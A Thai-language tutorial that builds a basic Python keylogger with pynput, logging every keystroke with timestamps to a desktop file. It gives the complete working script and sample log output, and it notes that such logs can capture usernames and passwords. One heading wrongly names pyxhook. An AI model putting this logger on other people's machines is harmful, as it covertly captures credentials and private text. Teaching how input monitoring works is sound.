เราจะพัฒนาคีย์ล็อกเกอร์โดยใช้ python แต่ก่อนหน้านั้นคีย์ล็อกเกอร์คืออะไร? Keylogger เป็นโปรแกรมที่เราตรวจสอบการกดแป้นพิมพ์ การกดแป้นพิมพ์เหล่านี้จะถูกเก็บไว้ในไฟล์บันทึก เราสามารถบันทึกข้อมูลที่ละเอียดอ่อน เช่น ชื่อผู้ใช้และรหัสผ่านได้โดยใช้การกดแป้นพิมพ์นี้
ในการสร้างคีย์ล็อกเกอร์ เราจะใช้โมดูล pynput เนื่องจากไม่ใช่ไลบรารีมาตรฐานของ python เราอาจจำเป็นต้องติดตั้ง
การติดตั้งโมดูล pyxhook -
ฉันจะใช้ pip เพื่อติดตั้ง pynput -
pip install pynput Requirement already satisfied: pynput in c:\python\python361\lib\site-packages (1.4) Requirement already satisfied: six in c:\python\python361\lib\site-packages (from pynput) (1.10.0)
หากต้องการตรวจสอบว่าการติดตั้งของเราสำเร็จ ให้ลองนำเข้าโมดูลใน python shell ของคุณ
>>> import pynput >>>
เริ่มสร้างคีย์ล็อกเกอร์
เมื่อติดตั้งไลบรารีที่จำเป็นแล้ว ให้นำเข้าแพ็คเกจและวิธีการที่จำเป็น ในการตรวจสอบแป้นพิมพ์ เราจะใช้วิธีการคีย์และฟังของโมดูล pynput.keyboard นอกจากนี้เรายังจะใช้โมดูลการบันทึกเพื่อบันทึกการกดแป้นของเราในไฟล์
from pynput.keyboard import Key, Listener import logging
ต่อไป เราจะกำหนดเส้นทางที่เราจะเก็บไฟล์บันทึก ในโหมดใดที่จะเก็บบันทึกและรูปแบบ
log_dir = r"C:/users/username/desktop/" logging.basicConfig(filename = (log_dir + "keyLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')
จากนั้นเราเรียกฟังก์ชัน on_press() ซึ่งสร้างคำจำกัดความสำหรับการกดแป้นและใช้คีย์เป็นพารามิเตอร์
def on_press(key): logging.info(str(key))
สิ่งสุดท้ายที่เราจะทำคือตั้งค่าอินสแตนซ์ของ Listener และกำหนดเมธอด on_press จากนั้นรวมอินสแตนซ์เข้ากับเธรดหลัก
with Listener(on_press=on_press) as listener: listener.join()
ในการรวมขั้นตอนดังกล่าวข้างต้น เราอยู่ในขั้นตอนการสร้างโปรแกรมขั้นสุดท้าย -
from pynput.keyboard import Key, Listener import logging log_dir = r"C:/users/rajesh/desktop/" logging.basicConfig(filename = (log_dir + "keyLog.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s') def on_press(key): logging.info(str(key)) with Listener(on_press=on_press) as listener: listener.join()
ขณะที่สคริปต์ของฉันทำงาน ฉันพยายามเปิดเบราว์เซอร์และพิมพ์ "สวัสดีชาวโลก วิกิพีเดีย" มาดูกันว่าเกิดอะไรขึ้นกับไฟล์บันทึกของเรา -
ฉันเห็นว่าไฟล์ “keyLog.txt” ถูกสร้างขึ้นในคอมพิวเตอร์เดสก์ท็อปของฉัน และหากฉันพยายามจะดูเนื้อหานั้น ฉันจะได้รับ -
2019-01-18 17:06:21,854: Key.cmd 2019-01-18 17:06:22,022: 'd' 2019-01-18 17:06:39,304: 'h' 2019-01-18 17:06:39,435: 'e' 2019-01-18 17:06:39,564: 'l' 2019-01-18 17:06:39,754: 'l' 2019-01-18 17:06:39,943: 'o' 2019-01-18 17:06:40,245: Key.space 2019-01-18 17:06:40,450: 'w' 2019-01-18 17:06:40,536: 'o' 2019-01-18 17:06:40,694: 'r' 2019-01-18 17:06:40,818: 'l' 2019-01-18 17:06:40,943: 'd' 2019-01-18 17:06:43,527: ',' 2019-01-18 17:06:44,947: Key.space 2019-01-18 17:06:45,091: 'p' 2019-01-18 17:06:45,342: 'y' 2019-01-18 17:06:45,468: 't' 2019-01-18 17:06:45,580: 'h' 2019-01-18 17:06:45,674: 'o' 2019-01-18 17:06:45,808: 'n' 2019-01-18 17:06:45,872: Key.space 2019-01-18 17:06:48,692: Key.backspace 2019-01-18 17:06:48,891: Key.backspace 2019-01-18 17:06:49,079: Key.backspace 2019-01-18 17:06:49,223: Key.backspace 2019-01-18 17:06:49,405: Key.backspace 2019-01-18 17:06:49,584: Key.backspace 2019-01-18 17:06:49,816: Key.backspace 2019-01-18 17:06:50,004: 'w' 2019-01-18 17:06:50,162: 'i' 2019-01-18 17:06:50,392: 'k' 2019-01-18 17:06:50,572: 'i' 2019-01-18 17:06:51,395: 'p' 2019-01-18 17:06:51,525: 'e' 2019-01-18 17:06:51,741: 'd' 2019-01-18 17:06:51,838: 'i' 2019-01-18 17:06:52,104: 'a'
ดังนั้นเราจึงสามารถเห็นสิ่งที่ฉันพยายามพิมพ์ในเบราว์เซอร์ของฉัน การกดแป้นพิมพ์ทุกครั้งจะถูกเก็บไว้ในไฟล์นี้ ดังนั้นเราจึงสร้างคีย์ล็อกเกอร์แบบง่ายๆ ใน python ที่นี่